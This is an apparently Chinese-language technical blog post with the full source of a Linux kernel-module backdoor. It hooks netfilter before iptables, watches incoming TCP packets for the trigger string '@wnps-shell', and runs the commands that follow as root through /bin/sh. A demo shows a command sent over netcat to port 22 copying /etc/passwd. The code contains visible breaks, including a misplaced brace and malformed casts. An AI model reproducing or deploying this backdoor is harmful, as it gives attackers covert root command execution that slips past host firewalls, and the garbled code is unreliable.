

前几天看了 rwrk 这个 rk 的 demo, 它就是利用 netfilter hook 住了进入主机的数据包, hook 点是 NF_IP_PRE_ROUTING, 因此可以在进入 iptables 之前提前实现数据包的过滤。在这个 hook 点上作文章就比较多, 可以实现防火墙, 嗅探器, 当然也可以用来触发回连后门, wnps 就是这么来作的, 因此不管主机防火墙作的规则如何变态, 都有机会穿透它。下面这个 demo 用来演示分析 tcp 包的内容, 分析出里面的命令, 然后去执行它, 有点类似以前的 icmp, ip 包后门, 只不过这些都在内核来完成, 功能更强大。Demo 在 ubuntu8.10 + 2.6.28 上测试成功。

```
wzt@wzt-laptop:~$ nc -vv localhost 22
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
@wnps-shell:cat /etc/passwd > /home/wzt/pass.log
Protocol mismatch.
sent 49, rcvd 58
```

```
demsg:
[ 957.255416] kexec test start ...
[ 1029.692964] hook: function:hook_func-L125: got the tcp key .
[ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd > /home/wzt/pass.log
[ 1029.692985]
```

```
wzt@wzt-laptop:~$ ls -lht pass.log
-rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log
```

+-----+

```
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/workqueue.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/netfilter.h>
```

```

#include <linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>

#define HOOK_DEBUG

#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
    printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define DbgPrint(format, args...) do {} while(0);
#endif

#define TCP_SHELL_KEY    "@wnps-shell"

#define PORT_NUM        6
#define IP_NUM           20
#define BUFF_NUM         512

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

struct exec_work {
    struct work_struct work;
    char *cmd;
};

static struct nf_hook_ops nfho;

int kexec_user_app(void *data)
{
    struct exec_work *work = data;
    int ret;
    char *argv[] = {"/bin/sh", "-c", work->cmd, NULL};
    char *envp[] = { "HOME=",
                     "TERM=linux",
                     "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
                     NULL };
    ret = call_usermodehelper(argv[0], argv, envp, 1);

    return ret;
}

```

```

int execute_user_command(char *cmd)
{
    struct exec_work *exec_work;

    exec_work = kmalloc(sizeof(struct exec_work), GFP_ATOMIC);
    exec_work->cmd = kmalloc(1024*sizeof(char), GFP_ATOMIC);

    INIT_WORK(&exec_work->work, kexec_user_app);
    strncpy(exec_work->cmd, cmd, strlen(cmd) + 1);

    schedule_work(&exec_work->work);

    return 0;
}

```

```

unsigned int hook_func(unsigned int hooknum,
                      struct sk_buff **skb,
                      const struct net_device *in,
                      const struct net_device *out,
                      int (*okfn)(struct sk_buff *))
{
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
        struct sk_buff *sk = skb_copy(skb, 1);
    #else
        struct sk_buff *sk = *skb;
    #endif

    struct iphdr *ip;
    struct tcphdr *tcphdr;
    char buf[BUFF_NUM], *data = NULL;
    char *p;

    if (!sk)
        return NF_ACCEPT;

    #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
        ip = ip_hdr(sk);
    #else
        ip = sk->nh.iph;
    #endif

    switch (ip->protocol) {
        case 1:
            return NF_ACCEPT;
    }
}

```

```

        case 6:
            #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
                tcphdr = ip_hdr(sk);

                tcphdr =
                    (struct tcphdr *)((void *)sk->data +
                        ((struct iphdr *)sk->data->ihl * 4);

                data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
            #else
                tcphdr = (struct tcphdr *)((__u32 *)ip + ip->ihl);

                data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
            #endif

            /*
             * filter the connected tcp packet
             */
            if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) {
                DbgPrint("got the tcp key .\n");
                p += strlen(TCP_SHELL_KEY) + 1;
                DbgPrint("%s\n", p);
                execute_user_command(p);
                goto out;
            }

            out:
            memset(buf, '\0', BUFF_NUM);

            return NF_ACCEPT;

            default:
                return NF_ACCEPT;
        }
    }

static int kexec_test_init(void)
{
    printk("kexec test start ...\n");

    nfho.hook = hook_func;
    nfho.owner = NULL;
    nfho.pf = PF_INET;

```

```
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
    nfho.hooknum = NF_INET_PRE_ROUTING;
#else
    nfho.hooknum = NF_IP_PRE_ROUTING;
#endif

    nfho.priority = NF_IP_PRI_FIRST;

    nf_register_hook(&nfho);

    return 0;
}

static void kexec_test_exit(void)
{
    printk("kexec test exit ...\n");
    nf_unregister_hook(&nfho);
}

module_init(kexec_test_init);
module_exit(kexec_test_exit);
```